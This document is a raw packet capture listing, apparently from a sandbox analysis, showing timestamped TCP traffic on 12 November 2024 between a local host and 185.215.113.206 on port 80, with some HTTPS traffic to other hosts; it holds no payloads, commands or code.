Nov 12, 2024 08:30:39.697396994 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697401047 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697401047 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697411060 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697419882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697426081 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697449923 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697464943 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697768927 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697778940 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697789907 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697799921 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697812080 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697824001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.697834015 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.697858095 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698044062 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698055029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698071957 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698082924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698087931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698093891 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698112011 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698141098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698311090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698322058 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698340893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698352098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698363066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698364019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698376894 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698394060 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698400021 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698407888 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698412895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698424101 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698434114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698437929 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698446035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698456049 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698457003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698467970 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698482037 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698489904 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698518038 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698803902 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698815107 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.698859930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.698859930 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.703363895 CET	443	57092	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:39.703587055 CET	57092	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:39.703610897 CET	443	57092	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:39.703937054 CET	443	57092	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:39.706378937 CET	57092	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:39.706445932 CET	443	57092	23.198.7.178	192.168.2.5
Nov 12, 2024 08:30:39.727320910 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.740024090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.740036011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.740045071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.740103006 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.740123987 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.740127087 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.740165949 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.740180969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.740223885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.740223885 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.789815903 CET	57092	443	192.168.2.5	23.198.7.178
Nov 12, 2024 08:30:39.812123060 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812143087 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812165022 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812196970 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.812251091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812256098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.812284946 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.812633991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812644958 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812659979 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812678099 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812693119 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.812693119 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.812724113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.812812090 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812824965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812838078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.812870979 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.812907934 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813026905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813040972 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813054085 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813091040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813091040 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813142061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813153982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813165903 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813209057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813209057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813263893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813272953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813287973 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813308954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813308954 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813327074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813405991 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813419104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813440084 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813539028 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813580036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813591003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813602924 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813616037 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813621998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813621998 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813628912 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813641071 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813657045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813657045 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813719034 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813863039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813875914 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813889980 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813901901 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.813906908 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.813971996 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814033985 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814090014 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814107895 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814121008 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814136028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814151049 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814162016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814162016 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814163923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814177990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814213037 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814213037 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814524889 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814538002 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814549923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814563990 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814577103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814588070 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814590931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814590931 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814600945 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814613104 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814625025 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814626932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814626932 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814676046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814676046 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814886093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814904928 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814918041 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814929008 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814940929 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814941883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814941883 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814953089 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814964056 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.814971924 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814997911 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.814997911 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815203905 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815213919 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815226078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815241098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815248013 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815260887 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815272093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815287113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815293074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815293074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815293074 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815299034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815319061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815319061 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815330982 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815342903 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815355062 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815355062 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815408945 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815884113 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815893888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815906048 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815917969 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815929890 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815943003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815949917 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815949917 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815957069 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815969944 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815982103 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.815980911 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.815994978 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816008091 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816020012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816025019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.816025019 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.816034079 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816046953 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816054106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.816054106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.816060066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816072941 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816091061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816095114 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.816119909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.816119909 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.816678047 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816688061 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816699028 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816713095 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816720963 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.816725016 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816740036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.816766024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.816766024 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.816847086 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.834403038 CET	443	57082	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.835040092 CET	57082	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.835114002 CET	443	57082	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.835170984 CET	57082	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.857153893 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.857202053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.857212067 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.857215881 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.857248068 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.857295036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.857306004 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.857319117 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.857331038 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.857345104 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.857369900 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.857409000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.858218908 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.858819008 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.858875036 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.859009981 CET	443	57089	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.859061003 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.859077930 CET	57089	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.867585897 CET	443	57091	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.867827892 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.867841959 CET	443	57091	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.868879080 CET	443	57091	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.868952036 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.869406939 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.869469881 CET	443	57091	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.869695902 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.869703054 CET	443	57091	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.869760990 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.869776011 CET	443	57091	52.168.117.168	192.168.2.5
Nov 12, 2024 08:30:39.914799929 CET	57091	443	192.168.2.5	52.168.117.168
Nov 12, 2024 08:30:39.921312094 CET	443	57093	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.921845913 CET	57093	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.921878099 CET	443	57093	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.922391891 CET	57093	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:39.922396898 CET	443	57093	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:39.929225922 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929270029 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929280043 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929326057 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.929354906 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.929649115 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929745913 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.929769039 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929780006 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929789066 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929822922 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.929822922 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.929838896 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929893017 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929903030 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929936886 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.929960966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.929992914 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930052996 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930063009 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930109024 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930124044 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930128098 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930135012 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930152893 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930159092 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930169106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930207968 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930218935 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930243015 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930243015 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930324078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930335045 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930346966 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930357933 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930383921 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930455923 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930468082 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930521965 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930526972 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930532932 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930542946 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930552959 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930560112 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930581093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930581093 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930746078 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930757046 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930767059 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930780888 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930794001 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930814981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930814981 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930877924 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.930973053 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930984020 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.930994034 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931022882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931022882 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931056023 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931066036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931075096 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931090117 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931152105 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931226015 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931241035 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931257010 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931273937 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931282997 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931293011 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931298018 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931305885 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931324005 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931332111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931332111 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931363106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931363106 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931526899 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931536913 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931548119 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931564093 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:39.931570053 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:39.931576967 CET	80	49809	185.215.113.206	192.168.2.5
